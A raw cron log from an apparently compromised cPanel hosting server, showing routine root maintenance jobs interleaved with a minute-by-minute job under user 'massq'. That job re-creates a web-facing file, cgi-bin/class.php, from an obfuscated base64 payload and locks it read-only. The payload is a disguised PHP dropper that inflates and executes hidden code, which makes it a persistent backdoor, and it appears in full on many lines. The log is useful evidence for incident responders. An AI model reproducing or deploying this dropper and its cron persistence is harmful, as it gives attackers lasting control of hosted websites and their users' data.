Sep  3 20:05:01 server CROND[26490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:05:01 server CROND[26489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:05:01 server CROND[26492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:05:01 server CROND[26494]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 20:05:01 server CROND[26500]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:05:01 server CROND[26502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:05:01 server CROND[26501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:06:01 server CROND[27329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:06:01 server CROND[27330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:06:01 server CROND[27331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:07:01 server CROND[27801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:07:01 server CROND[27803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:07:01 server CROND[27802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:08:01 server CROND[28168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:08:01 server CROND[28169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:08:01 server CROND[28171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:09:01 server CROND[28536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:09:01 server CROND[28537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:09:01 server CROND[28538]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 20:09:01 server CROND[28539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:10:01 server CROND[28917]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:10:01 server CROND[28919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:10:01 server CROND[28934]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:10:01 server CROND[28935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:10:01 server CROND[28936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:10:01 server CROND[28939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:10:01 server CROND[28940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:10:01 server CROND[28945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:11:01 server CROND[29767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:11:01 server CROND[29768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:11:01 server CROND[29769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:12:01 server CROND[30239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:12:01 server CROND[30240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:12:01 server CROND[30241]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 20:12:01 server CROND[30242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:13:02 server CROND[30611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:13:02 server CROND[30612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:13:02 server CROND[30613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:14:01 server CROND[30982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:14:01 server CROND[30983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:14:01 server CROND[30984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:15:01 server CROND[31367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:15:01 server CROND[31368]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 20:15:01 server CROND[31373]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:15:01 server CROND[31385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:15:01 server CROND[31387]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:15:01 server CROND[31386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:15:01 server CROND[31389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:15:01 server CROND[31388]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 20:15:01 server CROND[31391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:16:01 server CROND[32228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:16:01 server CROND[32227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:16:01 server CROND[32229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwF